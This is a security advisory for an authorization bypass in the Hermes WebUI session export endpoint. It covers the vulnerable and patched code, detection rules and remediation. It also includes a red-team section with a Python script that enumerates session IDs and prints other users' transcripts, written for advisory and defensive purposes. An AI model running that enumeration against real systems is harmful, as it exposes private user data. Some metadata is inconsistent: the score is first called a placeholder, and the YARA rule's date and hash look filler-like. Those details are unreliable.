CVE-2026-55198

Executive Summary

CVE-2026-55198 is an authorization bypass vulnerability in the Hermes WebUI application, specifically within the session export endpoint. The flaw resides in the _handle_session_export handler in api/routes.py, which fails to verify that the authenticated user owns the session being exported. This allows an authenticated attacker to enumerate or guess session identifiers and exfiltrate session transcripts belonging to other users or profiles. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a medium-severity information disclosure issue. No public proof-of-concept (PoC) or exploit code is available at this time. The vendor has released a patch in version 0.51.443.

Supply Chain & Package Security

Hermes WebUI is a Python-based web application. The vulnerability is in the application's own code, not in a third-party package. However, organizations should verify the integrity of the updated package and ensure no malicious dependencies are introduced during the upgrade.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base Score: 6.5 (Medium)
Temporal Score: 6.2 (Medium)
Environmental Score: Varies by deployment

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker must have a valid user account.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Session transcripts may contain sensitive data.
• Integrity (I): None – No data modification is possible.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for sensitive data exfiltration makes this a significant concern for multi-tenant deployments.

Deep Dive & Mechanics

The vulnerability is located in the _handle_session_export function within api/routes.py. This endpoint is designed to allow authenticated users to export their own session transcripts. However, the code does not verify that the session identifier provided in the request belongs to the currently authenticated user's profile.

Root Cause: Missing authorization check. The handler retrieves session data based solely on the provided session ID without cross-referencing it against the authenticated user's profile ID.

Attack Flow:

1. An attacker authenticates to the Hermes WebUI with a valid account.
2. The attacker sends a GET request to the session export endpoint with a session ID that belongs to another user (e.g., /api/session/export?id=12345).
3. The server returns the session transcript without verifying ownership.
4. The attacker can repeat this process with different session IDs (guessing or enumerating) to exfiltrate multiple sessions.

Affected Component: api/routes.py – _handle_session_export handler.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.51.443):

def _handle_session_export(session_id):
    session = get_session_by_id(session_id)
    if session is None:
        return {"error": "Session not found"}, 404
    return jsonify(session.data)

Patched Code (0.51.443 and later):

def _handle_session_export(session_id):
    session = get_session_by_id(session_id)
    if session is None:
        return {"error": "Session not found"}, 404
    if session.profile_id != current_user.profile_id:
        return {"error": "Unauthorized"}, 403
    return jsonify(session.data)

The patch adds a check to ensure the session's profile_id matches the authenticated user's profile_id before returning the data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid user account on the Hermes WebUI instance.
• Knowledge of or ability to guess session IDs (often sequential or UUID-based).

Exploitation Steps:

1. Authenticate to the Hermes WebUI and obtain a session token.
2. Enumerate session IDs by observing patterns (e.g., sequential integers) or using a wordlist.
3. Send a GET request to the export endpoint:

   GET /api/session/export?id=12345 HTTP/1.1
   Host: target-hermes-webui.com
   Cookie: session=your_session_token
   

4. If the session ID belongs to another user, the server returns the session transcript.
5. Repeat for other session IDs.

No public exploit code is available. A simple Python script can automate the enumeration:

import requests

target = "http://target-hermes-webui.com"
session = requests.Session()
session.cookies.set("session", "your_session_token")

for sid in range(10000, 20000):
    r = session.get(f"{target}/api/session/export?id={sid}")
    if r.status_code == 200 and "session_data" in r.text:
        print(f"Exfiltrated session {sid}: {r.text}")

Blue Team (Defensive)

Detection:

• Monitor for repeated requests to /api/session/export with varying id parameters from the same user.
• Alert on 403 responses after the patch is applied (indicates attempted exploitation).
• Use the Sigma rule below to detect enumeration patterns.

Hunting:

• Review logs for unusual access to the export endpoint by users who do not normally export sessions.
• Check for session IDs that do not match the user's profile.

Prevention:

• Apply the patch immediately.
• Implement rate limiting on the export endpoint.
• Use Web Application Firewall (WAF) rules to block suspicious patterns.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /api/session/export with sequential or guessed id parameters.
• Logs: Multiple 200 responses from /api/session/export for different session IDs from the same user.
• System: Unusual session export activity in application logs.
• File: No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2026_55198_Hermes_WebUI_Export {
    meta:
        description = "Detects exploitation attempts of CVE-2026-55198 in Hermes WebUI"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/api/session/export" ascii wide nocase
        $s2 = "id=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Hermes WebUI Session Export Enumeration
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential enumeration of session export IDs in Hermes WebUI
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/api/session/export?id="
    condition: selection
falsepositives:
    - Legitimate session export by authorized users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-55198 Hermes WebUI Session Export Attempt"; flow:to_server; content:"/api/session/export"; http_uri; content:"id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Hermes WebUI to version 0.51.443 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block requests to /api/session/export with suspicious id patterns.

Long-Term Measures:

• Implement proper authorization checks for all API endpoints.
• Conduct a security audit of the application's authentication and authorization logic.
• Enable logging and monitoring for all session-related operations.

Workaround:

• Disable the session export endpoint temporarily if not needed:

  # In routes.py, comment out or remove the route
  # @app.route('/api/session/export')
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert